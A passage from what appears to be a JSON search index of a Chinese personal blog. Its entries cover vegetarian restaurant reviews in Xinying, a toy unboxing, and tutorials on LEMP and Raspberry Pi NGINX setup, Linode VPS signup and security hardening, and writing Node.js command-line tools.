伺服器"},{"content":"新營博愛素食是一家平價的素食店，有麵、粄條以及豆干與海帶等小菜。\n新營博愛素食位於博愛街上，很靠近圓環，是最近剛開的一家素食店，餐點是走平價路線，麵與粄條都是便宜又大碗，可以吃得很飽。\n另外博愛素食比較不一樣的地方是他們週日有營業，公休日是週六，禮拜天如果不知道去哪裡吃素食，可以考慮這一家。\n這是博愛素食的老闆。\n店內的餐具是放在烘碗機裡面，很乾淨。\n博愛素食的菜單，餐點都很平價。\n乾的大陽春麵，有很多豆包，一點都不陽春。\n這是湯的大陽春麵。\n這是大的湯粄條，光看就知道料很多。\n綜合湯，裡面有青菜與炸豆包。\n這是 20 元的高麗菜飯。\n味噌豆腐湯，豆腐還蠻多的。\n這是豆干與海帶。\n小朋友可以拿小碗與小湯匙自己吃。\n店名：博愛素食\n地址：台南市新營區博愛街 3 號（近圓環）\n電話：(06) 632-0718\n營業時間：10:00 ~ 19:00\n備註：週六公休\n","permalink":"https://blog.gtwang.org/life/boai-vegetarian-restaurant-sinying-tainan/","summary":"\u003cp\u003e新營博愛素食是一家平價的素食店，有麵、粄條以及豆干與海帶等小菜。\u003c/p\u003e\n\u003cp\u003e新營博愛素食位於博愛街上，很靠近圓環，是最近剛開的一家素食店，餐點是走平價路線，麵與粄條都是便宜又大碗，可以吃得很飽。\u003c/p\u003e","title":"[台南新營素食] 博愛素食：麵、粄條、小菜"},{"content":"本篇是開智組合積木的消防直升機開箱文。\n今天帶小朋友去逛寶雅買東西，就順便買個玩具給小朋友，讓他開心一下，但因為每次買給我們家小朋友的玩具都撐不了太久，不是搞丟就是弄壞，不然就是三兩下就玩膩了，所以也不想買太貴的，我看到這個開智的組合積木跟樂高的積木看起來差不多，但是價格很便宜，所以就買來給小朋友玩玩看。\n這樣一個直升機的組合積木，寶雅賣的價格是 119 元，裡面的積木剛好可以組一個直升機，照著說明書就可以組裝。\n這個積木適合六歲以上的小朋友，而我們家小朋友還沒滿六歲，所以大部分都是我幫他組裝的。\n因為新玩具很新鮮，所以小朋友都會很高興的一起組裝。\n這是組裝好的直升機，組裝的過程不難，不過因為這種低價位的積木品質沒辦法像樂高那樣好，有些地方組裝的時候有點緊，需要大人幫忙，而組裝好之後倒是很不錯。\n組裝好之後，小朋友就可以玩上好幾天了。\n","permalink":"https://blog.gtwang.org/unboxing/kazi-building-block-fire-helicopter-unboxing/","summary":"\u003cp\u003e本篇是開智組合積木的消防直升機開箱文。\u003c/p\u003e\n\u003cp\u003e今天帶小朋友去逛寶雅買東西，就順便買個玩具給小朋友，讓他開心一下，但因為每次買給我們家小朋友的玩具都撐不了太久，不是搞丟就是弄壞，不然就是三兩下就玩膩了，所以也不想買太貴的，我看到這個開智的組合積木跟樂高的積木看起來差不多，但是價格很便宜，所以就買來給小朋友玩玩看。\u003c/p\u003e","title":"[開箱] 開智組合積木：消防直升機"},{"content":"這裡介紹在 Ubuntu Linux 中安裝與設定 LEMP 網頁伺服器的詳細步驟，以及安全性相關的注意事項。\nLEMP（Linux、nginx、MySQL、PHP）是現在很熱門的網頁伺服器組合，它是將 LAMP 中的 Apache 以 nginx 取代，以提升伺服器的的負載能力，以下介紹在 Ubuntu Linux 中安裝 LEMP 的步驟。\n這裡我是使用 Linode VPS 上面的 Ubuntu Linux 14.04 為測試環境，不過這些安裝方式應該適用於各種 Ubuntu Linux 版本，Ubuntu Linux 本身系統的設定請參考 Linode VPS 安裝 Ubuntu Linux 與基本安全性設定。\nnginx 使用 apt 安裝 nginx 套件：\napt-get install nginx 編輯 /etc/nginx/nginx.conf，調整 worker_processes 的數量：\nworker_processes 1; 如果是 1 顆 CPU 的主機，就直接將 worker_processes 設定為 1 就好了，如果是多顆 CPU 的話，可以設定為 auto，詳細說明請參考 nginx 的文件。\n調整 events 設定，將 worker_connections 設定成適當的數值：\nevents { worker_connections 1024; use epoll; multi_accept on; } Linux 2.6 以後的核心可以使用 epoll 這種比較有效率的方式。\n將 server_tokens 關掉，這樣網頁上就不會顯示 nginx 的版本資訊，減低被攻擊的機率：\nhttp { # ... server_tokens off; # ... } 對各種文字檔案啟用 gzip 壓縮，設定啟用壓縮的最小資料長度：\nhttp { # ... gzip on; gzip_disable \u0026#34;msie6\u0026#34;; # gzip_vary on; # gzip_proxied any; # gzip_comp_level 6; # gzip_buffers 16 8k; # gzip_http_version 1.1; gzip_min_length 1000; gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript; # ... } 關於 nginx 的 gzip 的壓縮設定，可以參考 nginx 的文件。\n接著是設定 virtual host，編輯 /etc/nginx/sites-available/default，不過這個部分就要根據自己的網站來調整了，下面這個是一個簡單的範例：\nserver { listen 80; root /usr/share/nginx/html; index index.php index.html index.htm; server_name gtwang.org; location / { try_files $uri $uri/ /index.html; } error_page 404 /404.html; error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } # pass the PHP scripts to FastCGI server listening on the php-fpm socket location ~ \\.php$ { try_files $uri =404; fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } # Directives to send expires headers and turn off 404 error logging. location ~* \\.(js|css|png|jpg|jpeg|gif|ico)$ { expires 7d; log_not_found off; } } 最後重新啟動 nginx 服務：\nsudo service nginx start PHP 安裝 PHP 相關的套件：\nsudo apt-get install php5-fpm php5-mysql php5-gd php5-imagick php5-apcu php5-cli 基本的 LEMP 只要 php5-fpm 與 php5-mysql 就可以運作了，其餘的部分可以自行選擇要不要裝。\nphp5-gd 與 php5-imagick 可以讓 PHP 可以自動產生圖片的縮圖，WordPress 這類的網站通常都會需要，以 WordPress 而言如果沒有裝的話，您會發現網頁上的圖都是原圖，這會影響網頁的載入速度，所以建議是一起裝起來。\nphp5-apcu 是 PHP 的 APC 套件，它利用快取技術縮短 PHP 程式碼的解譯時間，可有效改善 PHP 執行效能，詳細說明請參考 Alternative PHP Cache。\n最後的 php5-cli 則是在指令列除錯用的，這個是讓您可以在命令列執行 PHP 程式，如果只是單純架站，不會用到這樣的功能的話，就可以自己拿掉。\n編輯 /etc/php5/fpm/php.ini，將 cgi.fix_pathinfo 功能關閉：\ncgi.fix_pathinfo= 並將 expose_php 關閉，不要讓 PHP 顯示自己的版本資訊：\nexpose_php = Off 然後重新啟動 PHP 服務：\nsudo service php5-fpm restart MySQL 安裝 MySQL 伺服器：\nsudo apt-get install mysql-server 接著將一些不安全的預設設定移除，執行\nsudo mysql_secure_installation 這時候需要回答一系列的問題，不想細看的話，全部都回答 y 就可以了。\nBy default, a MySQL installation has an anonymous user, allowing anyone to log into MySQL without having to have a user account created for them. This is intended only for testing, and to make the installation go a bit smoother. You should remove them before moving into a production environment. Remove anonymous users? [Y/n] y ... Success! Normally, root should only be allowed to connect from 'localhost'. This ensures that someone cannot guess at the root password from the network. Disallow root login remotely? [Y/n] y ... Success! By default, MySQL comes with a database named 'test' that anyone can access. This is also intended only for testing, and should be removed before moving into a production environment. Remove test database and access to it? [Y/n] y - Dropping test database... ... Success! - Removing privileges on test database... ... Success! Reloading the privilege tables will ensure that all changes made so far will take effect immediately. Reload privilege tables now? [Y/n] y ... Success! Cleaning up... 這樣 MySQL 的資料庫就安裝完成了。後來如果要重設 MySQL 資料庫的管理者密碼，可以執行\nsudo dpkg-reconfigure mysql-server-5.0 Exim 通常網頁伺服器也會有發信的需求，像 WordPress 就會需要發一些通知信給管理者，所以就算不作為郵件伺服器，也會需要安裝一個簡單的 MTA，對於這種指發信不收信的主機，使用 Exim 會是一個不錯的做法：\napt-get install exim4-daemon-light mailutils 設定 Exim：\ndpkg-reconfigure exim4-config 以上是整個 LEMP 網頁伺服器安裝的大約安裝與設定步驟，因為有許多設定都會受到網站的性質、流量與主機硬體規格影響，所以只能大約列出一些重點，實際在安裝時，都還是需要自行調整一些細部的設定。\n參考資料 Linode DigitalOcean ","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-setup-lemp-server/","summary":"\u003cp\u003e這裡介紹在 Ubuntu Linux 中安裝與設定 LEMP 網頁伺服器的詳細步驟，以及安全性相關的注意事項。\u003c/p\u003e\n\u003cp\u003eLEMP（Linux、nginx、MySQL、PHP）是現在很熱門的網頁伺服器組合，它是將 LAMP 中的 Apache 以 nginx 取代，以提升伺服器的的負載能力，以下介紹在 Ubuntu Linux 中安裝 LEMP 的步驟。\u003c/p\u003e","title":"Ubuntu Linux 安裝與設定 LEMP 網頁伺服器步驟教學"},{"content":"這裡介紹 Linode VPS 在安裝 Ubuntu Linux 系統之後，需要馬上進行的一些基本安全性設定。\n在購買 Linux VPS 虛擬專屬主機之後，只要滑鼠點幾下，花個幾秒鐘就可以裝好一個 Ubuntu Linux 系統，不過後續還有很多安全性設定必須自己動手處理，以下是各種設定的步驟教學。\n更新系統套件 安裝好 Ubuntu Linux 後，最先要做的就是更新系統套件：\nsudo apt-get update sudo apt-get upgrade 主機名稱與 FQDN 主機名稱（hostname）可以自己任意取，他跟網址與 E-mail 位址等沒有直接關係，各主機的名稱不可以重複，有些人喜歡用星球、動物或是偉人的名字來命名，您可以自己想一個喜歡的名字，不過請避免使用 www 這類太過於一般化的名稱。\nUbuntu Linux 可以下列指令變更主機名稱：\necho \u0026#34;einstein\u0026#34; \u0026gt; /etc/hostname hostname -F /etc/hostname 這樣會將主機名稱設定為 einstein。\n接著編輯 /etc/hosts，設定 FQDN（fully qualified domain name）。假設我們的主機名稱為 einstein，網域名稱（domain name）為 gtwang.org，FQDN 為 einstein.gtwang.org，主機對外的 IP 位址為 12.34.56.78，則將 /etc/hosts 設定為：\n127.0.0.1 localhost.localdomain localhost 12.34.56.78 einstein.gtwang.org einstein 如果有使用 IPv6 的話，也要連同 IPv6 的位址一起加入：\n127.0.0.1 localhost.localdomain localhost 12.34.56.78 einstein.gtwang.org einstein 2600:3c01::a123:b456:c789:d012 einstein.gtwang.org einstein 這裡設定的 IP 位址與 FQDN 的對應必須跟 DNS 的 A 紀錄吻合，若有使用 IPv6 的話，DNS 伺服器上也要有對應的 AAAA 紀錄。\n時區 將時區（timezone）調整為自己所在地的時區，可以讓系統紀錄檔上的時間戳記看起來更直覺。\nLinode 的 Linux 時區預設是使用格林威治標準時間（UTC），我們可以使用下列指令更改時區的設定：\ndpkg-reconfigure tzdata 更改完成後，再用 date 確認一下：\ndate 看看輸出的時間是否正確。\n新增使用者 在 Linode 上剛裝好的 Ubuntu Linux 是直接用 root 登入的，沒有一般使用者帳號，但如果所有的動作都使用 root 來操作，會給系統帶來很大的風險，通常我們都會一般帳號來登入，必要時才切換成 root 權限，以避免下錯指令等意外發生。\n在 Ubuntu Linux 下新增一個使用者：\nadduser myuser 將 myuser 這個使用者加入 sudo 群組：\nusermod -a -G sudo myuser 這樣設定好之後，在用這個帳號以 SSH 登入：\nssh myuser@12.34.56.78 然後測試看看是否能使用 sudo：\nsudo su 如果能取得 root 權限就表示沒問題了。\nSSH 金鑰認證登入 SSH 公開金鑰認證可以大幅增加伺服器的安全性，我們可以使用 ssh-keygen 在自己的電腦中產生金鑰後，再將公鑰放進伺服器中：\nssh-keygen scp ~/.ssh/id_rsa.pub myuser@12.34.56.78: 接著再到伺服器上，建立 .ssh 目錄，把公鑰放置在 .ssh/authorized_keys：\nmkdir .ssh mv id_rsa.pub .ssh/authorized_keys 設定好檔案權限：\nchown -R myuser:myuser .ssh chmod 700 .ssh chmod 600 .ssh/authorized_keys 設定好之後，記得要測試 myuser 這個使用者是否可以不需要密碼登入 SSH。\n停用 SSH 密碼登入 編輯 /etc/ssh/sshd_config，將密碼登入功能關閉：\nPasswordAuthentication no 同時也停用 root 登入：\nPermitRootLogin no 重新啟動 SSH 伺服器：\nsudo service ssh restart 防火牆 防火牆我習慣使用 ufw 來設定：\nsudo ufw enable sudo ufw allow ssh sudo ufw allow http/tcp sudo ufw allow https/tcp ufw allow from 12.34.0.0/16 這裡開啟 SSH、HTTP 與 HTTPS 這幾個連接埠，另外對 12.34.0.0/16 這個子網域開放所有的連線，用來開發與測試用。\nFail2Ban Fail2Ban 可以用來阻擋一些來自網路上的惡意攻擊，當它偵測到來自網路的某個 IP 不斷嘗試入侵系統時，會建立一個暫時性的防火牆規則，將攻擊者的 IP 封鎖。Fail2Ban 可以用下列指令安裝：\nsudo apt-get install fail2ban 安裝完成後，Fail2Ban 預設只會對 SSH 進行監控，若要更改設定可以將自己的設定寫在 /etc/fail2ban/jail.local 設定檔中，在這個檔案中，我們也可以設定當偵測到幾次登入失敗後才開始阻擋 IP（maxretry），還有每次阻擋 IP 的時間長度（bantime）。修改設定之後，記得重新啟動 Fail2Ban：\nservice fail2ban restart 更多 Linode 相關的教學，可以參考本站 Linode 相關的文章。\n參考資料 Linode（Getting Started with Linode） Linode（Securing Your Server） ","permalink":"https://blog.gtwang.org/web-hosting/linode-vps-ubuntu-linux-setup-for-security/","summary":"\u003cp\u003e這裡介紹 \u003ca href=\"https://www.linode.com/lp/refer/?r=5b74c1f208c14942572bb1ba1f0687285c81a6b3\"\u003eLinode\u003c/a\u003e VPS 在安裝 Ubuntu Linux 系統之後，需要馬上進行的一些基本安全性設定。\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"/web-hosting/linode-vps-registration-tutorial/\"\u003e購買 Linux VPS 虛擬專屬主機\u003c/a\u003e之後，只要滑鼠點幾下，花個幾秒鐘就可以裝好一個 Ubuntu Linux 系統，不過後續還有很多安全性設定必須自己動手處理，以下是各種設定的步驟教學。\u003c/p\u003e","title":"Linode VPS 安裝 Ubuntu Linux 與基本安全性設定"},{"content":"本篇是我這禮拜在 Linode 註冊，並且購買 VPS 雲端虛擬主機空間的過程記錄。\n一般的網站初期在選擇主機空間時，通常因為價格考量，都會選擇最便宜的共享主機（shared hosting），但在共享主機上硬體資源（如 CPU、記憶體與網路等）是由主機上所有的網站所共享，如果有些網站的流量或計算量過大時，就很容易影響到其他網站的運作，因此共享主機的效能與穩定性都相對較差，若是比較有規模的網站，可以考慮改用比較好的虛擬專屬主機。\n虛擬專屬主機（VPS，Virtual Private Server）是比共享主機更高一級的的主機方案，它的特點是每一台主機都有配給專屬的硬體資源，各個網站在運行時是完全獨立的，不會互相影響，不管在穩定性與效能上都會比共享主機好很多，當然這種空間的價格也會比較高。\n我的網站之前是選用很便宜又大碗的共享主機，這個禮拜突然因為後端的 MySQL 伺服器出問題，讓我的網站差一點停擺，發現之後馬上把備份的資料倒回去，中間幾個小時靠快取撐著，沒讓服務中斷，還好我上週剛備份完，否則損失就大了。\n雖然這次資料庫 crash 沒有造成什麼損失，但經過這次驚魂記，我也被嚇壞了，所以把網站修復之後，就馬上開始找 VPS 的主機商，我上網找了兩天，看了一下目前比較熱門的 VPS 主機商，大概就是 Linode 與 DigitalOcean 這兩家比較多人推薦，從網路上的資料看起來，Linode 是老牌子的主機商，服務非常穩定，但是價格不是最划算的，而 DigitalOcean 是最近幾年成立的主機商，價格低、CP 值高，最便宜的方案每月只要 5 元美金，Linode 近幾年應該也受到 DigitalOcean 的影響，開始推出低價的方案，不過 Linode 最便宜的方案是每個月 10 元美金。\n這兩家的主機方案在他們的官方網站上面都寫得很詳細，看起來差不了太多，而在網路流量方面，DigitalOcean 如果流量超出上限時，每 GB 收費 0.02 美金，而 Linode 則是收 0.1 美金，如果網站的量真的很大的話，這個是要注意的地方。\n因為我主要的考量不是價格，而是主機的效能與穩定性，還有是否有提供備份的機制，Linode 的穩定性大家都說不錯，還可以加 25% 的費用備份整台主機，所以我就選擇了 Linode 的 VPS，以下是我在 Linode 註冊與購買 VPS 的過程記錄。\nStep 1\n首先到 Linode 的官方網站，填入自己的 E-mail、帳號名稱與自選的密碼。\n填完送出之後，Linode 會先寄一封確認信到自己的 E-mail 信箱。\nStep 2\n到自己的 E-mail 信箱收信，點選上面的確認連結。\nStep 3\n點選 E-mail 中的確認連結後，就會開啟註冊的資料填寫網頁。\n這裡除了填入基本資料之外，還要輸入信用卡預先儲值。而優惠代碼的部分，則可以上網搜尋「linode promo code」。\nStep 4\n註冊完成之後，就可以馬上建立 VPS 主機了，Linode 上面有各種等級的方案，剛開始用可以選擇最基本的「Linode 1024」，每個月收費是 10 元美金。\nLinode 在全球各地有好幾的資料中心，您可以選擇自己想要的地點，如果是一般的中文網站，服務對象以東亞為主，可以選擇今年四月剛成立的新加坡資料中心。\n日本東京的資料中心因為主機售罄，目前無法提供給新的主機進駐，Linode 正在興建第二個日本資料中心，有興趣的人可以關注 Linode 的部落格。\nStep 5\n建立好一個虛擬主機之後，點選它進入管理介面。\nStep 6\n點選「Deploy an Image」，安裝系統。\nStep 7\n選擇 Linux 發行版，並指定硬碟空間的配置，以及 root 管理者的密碼。\nStep 8\n安裝好之後，點選「Boot」開機。\nStep 9\n從「Remote Access」籤頁中可以看到伺服器的 IP 資訊，還有各種遠端登入的方式。\n您可以使用傳統的 SSH 登入，或是使用 Linode 所提供的 Console Access 功能。我是感覺它的「Lish via Ajaxterm」非常好用，只要從網頁上點選「Launch Lish Ajax Console」，就會接出現這樣的 console，完全不需要安裝任何東西。\n這種從 console 登入的方式跟 SSH 登入是完全不同的（雖然看起來很像），它最棒的地方就是它不是透過主機的網路出來的，所以不會受到主機防火牆的影響，這個在變更防火牆設定時非常有用，管理者完全不必擔心自己設錯防火牆規則把自己擋在門外。\nLinode 也有提供簡單的 CPU 使用量、網路流量與硬碟 IO 的統計圖，這些圖是 Linode 自動產生的，不會影響到主機的運作，當然也不需要安裝。\n最後附上我這台 VPS 的 CPU 資訊，這是我從 Linux 上抓到的 /proc/cpuinfo 內容：\nprocessor\t: 0 vendor_id\t: GenuineIntel cpu family\t: 6 model\t: 63 model name\t: Intel(R) Xeon(R) CPU E5-2680 v3 @ 2.50GHz stepping\t: 2 microcode\t: 0x1 cpu MHz\t: 2499.996 cache size\t: 30720 KB physical id\t: 0 siblings\t: 1 core id\t: 0 cpu cores\t: 1 apicid\t: 0 initial apicid\t: 0 fpu\t: yes fpu_exception\t: yes cpuid level\t: 13 wp\t: yes flags\t: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid xsaveopt bugs\t: bogomips\t: 5001.32 clflush size\t: 64 cache_alignment\t: 64 address sizes\t: 40 bits physical, 48 bits virtual power management: CPU 是 Intel(R) Xeon(R) CPU E5-2680 v3 @ 2.50GHz。\n更多 Linode 相關的教學，可以參考本站 Linode 相關的文章。\n","permalink":"https://blog.gtwang.org/web-hosting/linode-vps-registration-tutorial/","summary":"\u003cp\u003e本篇是我這禮拜在 Linode 註冊，並且購買 VPS 雲端虛擬主機空間的過程記錄。\u003c/p\u003e\n\u003cp\u003e一般的網站初期在選擇主機空間時，通常因為價格考量，都會選擇最便宜的共享主機（shared hosting），但在共享主機上硬體資源（如 CPU、記憶體與網路等）是由主機上所有的網站所共享，如果有些網站的流量或計算量過大時，就很容易影響到其他網站的運作，因此共享主機的效能與穩定性都相對較差，若是比較有規模的網站，可以考慮改用比較好的虛擬專屬主機。\u003c/p\u003e","title":"Linode VPS 虛擬專屬主機註冊與購買教學"},{"content":"這裡介紹如何使用 Node.js 來開發 Linux 系統用的工具程式，並且提供各種範例程式讓初學者參考。\nNode.js 除了最為網頁伺服器之外，也可以用來開發系統用的小工具程式，比起使用傳統的 Bash 語法，JavaScript 應該會讓一般人更容易上手，而且執行效能也很不錯，尤其在牽涉到大量的 I/O 的時候，更能凸顯 Node.js 非同步的效能優勢。\nHello World 首先來看一下使用 Node.js 的 Hello World 程式：\n#!/usr/bin/env node console.log(\u0026#39;Hello, World.\u0026#39;); 第一行是以 env 來指定直譯器的位置，而第二行是輸出字串到螢幕上。\n我們將這個程式儲存成 hello 這個檔案，而要讓它可以正常在 Linux 中執行，記得要開啟執行權限：\nchmod +x hello 接著就可以執行它了：\n./hello 輸出為：\nHello, World. 命令列參數 一般的指令通常都會附帶一些參數讓使用者設定各種選項，在 Node.js 的環境中，我們可以從 process.argv 這個變數取得從命令列所傳入的參數，我們可以寫一小程式來實際看一下這個變數的值：\n#!/usr/bin/env node console.log(process.argv); 架設我們將這個程式儲存為 demo1，設定好執行權限後，接著執行：\n./demo1 --gtwang -a -b 輸出為\n[ '/usr/local/bin/node', '/Users/seal/tmp/demo1', '--gtwang', '-a', '-b' ] process.argv 的第一個元素是 node 執行檔的位置，而第二個則是目前執行的指令稿位置，第三個之後就是命令列所指定的參數，如果只需要參數的資料，可以用 slice 將前兩個沒有用的元素去掉：\nvar args = process.argv.slice(2); 這樣 args 就只會包含單純參數的部分。\n程式傳回值 在開發 UNIX/Linux 系統的程式時，應該同時要注意程式離開時的傳回值，標準的指令在執行成功時會傳回 0，如果出現錯誤，則會傳回非 0 的值，而在 Node.js 的環境中，在程式結束的時候，我們可以用這樣的方式回傳指定的數值：\nif (error) { // 如果出現錯誤 process.exit(1); } else { // 如果正常結束 process.exit(0); } 輸入、輸出與管線 管線（pipe）是 UNIX/Linux 系統很重要的功能之一，它可以將不同程式的輸出與輸入串接起來，組合成各式各樣的應用，雖然概念上很簡單，但只要運用得當，它的功能是非常強大的。例如要從 ps 的輸出中找尋 node 這個字眼，我們可以利用管線將 ps 的輸出導引至 grep 的輸入，利用 grep 搜尋這個字串：\nps aux | grep \u0026#39;node\u0026#39; 如果想要讓自己開發的 Node.js 程式也具備從標準輸入讀入資料的功能，可以這樣寫：\nprocess.stdin.resume(); process.stdin.setEncoding(\u0026#39;utf8\u0026#39;); process.stdin.on(\u0026#39;data\u0026#39;, function(data) { process.stdout.write(data); }); 這樣的話，我們就可以使用管線把資料導入自己寫的 Node.js 程式中了（假設我們自己寫的指令稿為 pipe.js）：\necho \u0026#39;hello, gtwang.\u0026#39; | node pipe.js 輸出為\nhello, gtwang. UNIX 訊號 Node.js 也同時支援 UNIX 的訊號（signal），我們可以設計讓程式接收特定的訊號，並執行對應的動作，下面這個範例程式會在收到 SIGINT 信號時，輸出一行訊息，並且離開：\nprocess.stdin.resume(); process.on(\u0026#39;SIGINT\u0026#39;, function () { console.log(\u0026#39;Got a SIGINT. Goodbye!\u0026#39;); process.exit(0); }); 將這段指令稿儲存為 signal.js，並執行它：\nnode signal.js 如果要傳送 SIGINT 訊號給這個程式，最直接的方式就是按下鍵盤的 Ctrl + c，程式接收到 SIGINT 訊號之後，就會輸出訊息並離開：\n^CGot a SIGINT. Goodbye cruel world 另外我們也可以透過 kill 指令來將訊號送給指定的行程，不過首先要先查詢該程式的行程 ID：\nps aux | grep signal.js 輸出會像這樣：\ngtwang 2024 0.7 1.0 640840 21624 pts/1 Sl+ 10:27 0:00 node signal.js gtwang 2057 0.0 0.1 13712 2204 pts/4 S+ 10:27 0:00 grep --color=auto signal.js 從這個輸出中可以看出 node signal.js 這個行程的 ID 是 2024，接著用 kill 送一個 SIGINT 訊號給這個程式：\nkill -s SIGINT 2024 這樣 node signal.js 就會收到 SIGINT 訊號，輸出訊息後就會離開。\n參考資料 George Ornbo ","permalink":"https://blog.gtwang.org/linux/writing-linux-command-line-utilities-with-nodejs/","summary":"\u003cp\u003e這裡介紹如何使用 Node.js 來開發 Linux 系統用的工具程式，並且提供各種範例程式讓初學者參考。\u003c/p\u003e\n\u003cp\u003eNode.js 除了最為網頁伺服器之外，也可以用來開發系統用的小工具程式，比起使用傳統的 Bash 語法，JavaScript 應該會讓一般人更容易上手，而且執行效能也很不錯，尤其在牽涉到大量的 I/O 的時候，更能凸顯 Node.js 非同步的效能優勢。\u003c/p\u003e","title":"Node.js 開發命令列程式，用 JavaScript 撰寫 Linux 系統用的指令稿"},{"content":"6 加 2 蔬食早午餐是位於新營的一家素食早餐店，有漢堡、三明治、蛋餅與厚片土司等精緻餐點。\n6 加 2 蔬食早餐在府西路上，很靠近台南市政府，有各種中西式的素食早餐，餐點很精緻，用料也實在，平常生意也都很不錯。\n6 加 2 蔬食早餐目前已終止營業。\n這是 6 加 2 蔬食早午餐的櫃檯，店內的環境非常乾淨。\n現場有三明治可以選購，早上趕時間的人買這個最快了。\n三明治有各種口味可以選擇，像蘋果沙拉、水果核桃、黑胡椒杏鮑菇等。\n這是菜單。\n這是招牌蔬菜蛋餅，裡面有番茄、苜蓿芽等多種蔬菜（我沒仔細看，反正好吃就對了）。\n這是甘梅地瓜，不會油膩，也不會燥熱。\n這是綜合沙拉，Hello Kitty 的盤子很可愛。\n這是雜糧布穀堡。\n這是黃金玉米堡。\n這是不加蛋的鮮蔬堡（25 元），味道很不錯喔。\n這是高級的焗烤蕃茄核桃。（厚片類的餐點加點 15 元以上飲料可以折價五元喔）\n焗烤乳香蔓越莓。\n這是一號套餐的焗烤蕃茄核桃厚片，加上地瓜與沙拉。（這個套餐還有附一杯小杯的豆漿喔）\n這是三號套餐的蕎麥紫米蛋餅，加上地瓜。（這個套餐的飲料是大杯的紅茶）\n我們家小朋友常常都去吃他們的蘋果沙拉三明治，另外他們的鮮奶豆漿也很多人喜歡。\n小朋友通常都很愛套餐的地瓜。\n小朋友吃蕎麥紫米蛋餅。\n店門口也有座位，如果是一大清早沒什麼車子的時候，坐在外頭也不錯。\n","permalink":"https://blog.gtwang.org/life/six-plus-two-vegetarian-breakfast-sinying-tainan/","summary":"\u003cp\u003e6 加 2 蔬食早午餐是位於新營的一家素食早餐店，有漢堡、三明治、蛋餅與厚片土司等精緻餐點。\u003c/p\u003e\n\u003cp\u003e6 加 2 蔬食早餐在府西路上，很靠近台南市政府，有各種中西式的素食早餐，餐點很精緻，用料也實在，平常生意也都很不錯。\u003c/p\u003e","title":"[台南新營素食] 6 加 2 蔬食早餐：素食漢堡、三明治、蛋餅、厚片土司"},{"content":"這裡介紹如何在樹梅派（Raspberry Pi）上安裝 NGINX 與 PHP，打造輕量級的網頁伺服器。\nNGINX 是目前很熱門的網頁伺服器，它靠著 Non-blocking 與 epoll（Linux 2.6 以後支援）等技術，讓服務連線數與處理效能大幅提升，比起傳統的 Apache 伺服器更節省系統資源，因此近年來一推出就馬上成為市場上的焦點。\n以下是在 Raspberry Pi 上安裝 NGINX 伺服器與 PHP 的步驟。\nStep 1\n使用 apt 安裝基本的 NGINX 網頁伺服器：\nsudo apt-get install nginx Step 2\n正常來說安裝好 NGINX 之後，會自動啟動，我們可以用 service 檢查一下這個服務的狀態：\nservice nginx status 輸出會像這樣\n● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled) Active: active (running) since Fri 2015-10-09 16:53:34 CST; 23s ago Main PID: 1731 (nginx) CGroup: /system.slice/nginx.service ├─1731 nginx: master process /usr/sbin/nginx -g daemon on; master_... ├─1732 nginx: worker process ├─1733 nginx: worker process ├─1734 nginx: worker process └─1735 nginx: worker process Step 3\n另外也可以直接打開瀏覽器，輸入 Raspberry Pi 的位址來看看網頁是否可以正常打開。\n如果只是要一般靜態的網頁伺服器，這樣就完成了，以下是 PHP 的安裝步驟，請繼續閱讀下一頁。\nStep 4\n用 apt 安裝 PHP-FPM：\nsudo apt-get install php5-fpm Step 5\n設定 NGINX 伺服器，開啟 /etc/nginx/sites-available/default 這個設定檔，找到這一段：\n# Add index.php to the list if you are using PHP index index.html index.htm index.nginx-debian.html; 加入 index.php，修改成這樣：\n# Add index.php to the list if you are using PHP index index.php index.html index.htm index.nginx-debian.html; Step 6\n同樣在 /etc/nginx/sites-available/default 這個設定檔，找到這一段：\n# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 # #location ~ .php$ { # include snippets/fastcgi-php.conf; # # # With php5-cgi alone: # fastcgi_pass 127.0.0.1:9000; # # With php5-fpm: # fastcgi_pass unix:/var/run/php5-fpm.sock; #} 把這一段的註解拿掉，而 fastcgi_pass 的部分則選擇 php5-fpm 的設定，php5-cgi 的版本要註解起來，變成這樣：\n# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 location ~ .php$ { include snippets/fastcgi-php.conf; # With php5-cgi alone: # fastcgi_pass 127.0.0.1:9000; # With php5-fpm: fastcgi_pass unix:/var/run/php5-fpm.sock; } Step 7\n讓 NGINX 重新設定檔：\nsudo service nginx reload Step 8\nNGINX 預設的網頁放置位置是 /var/www/html，在這個位置新增一個測試的 index.php 網頁，內容如下：\n\u0026lt;?php echo phpinfo(); ?\u0026gt; Step 9\n打開瀏覽器，輸入 Raspberry Pi 的位址，正常的話應該就可以看到 PHP 的相關資訊了。\n","permalink":"https://blog.gtwang.org/iot/raspberry-pi-install-nginx-lightweight-web-server/","summary":"\u003cp\u003e這裡介紹如何在樹梅派（Raspberry Pi）上安裝 NGINX 與 PHP，打造輕量級的網頁伺服器。\u003c/p\u003e\n\u003cp\u003eNGINX 是目前很熱門的網頁伺服器，它靠著 Non-blocking 與 epoll（Linux 2.6 以後支援）等技術，讓服務連線數與處理效能大幅提升，比起傳統的 Apache 伺服器更節省系統資源，因此近年來一推出就馬上成為市場上的焦點。\u003c/p\u003e","title":"樹梅派 Raspberry Pi 安裝 NGINX 與 PHP 網頁伺服器（PHP-FPM）"},{"content":"這裡介紹如何使用 Node.js 撰寫自動抓取網頁資料的程式，從網路上自動擷取大量的數據或資料。\n在網頁 API 尚未風行的年代裡，如果想要從網路上自動取得一些資料，通常都只能從一般的網頁中擷取（web scraping），縱使現在許多網路上的資料都會提供程式專用的 API，但若遇到沒有提供完整功能 API 的網站，還是只能靠這個最基本的方式處理。\n在過去有許多的工具或函式庫可以處理這些問題，而目前很熱門的 Node.js 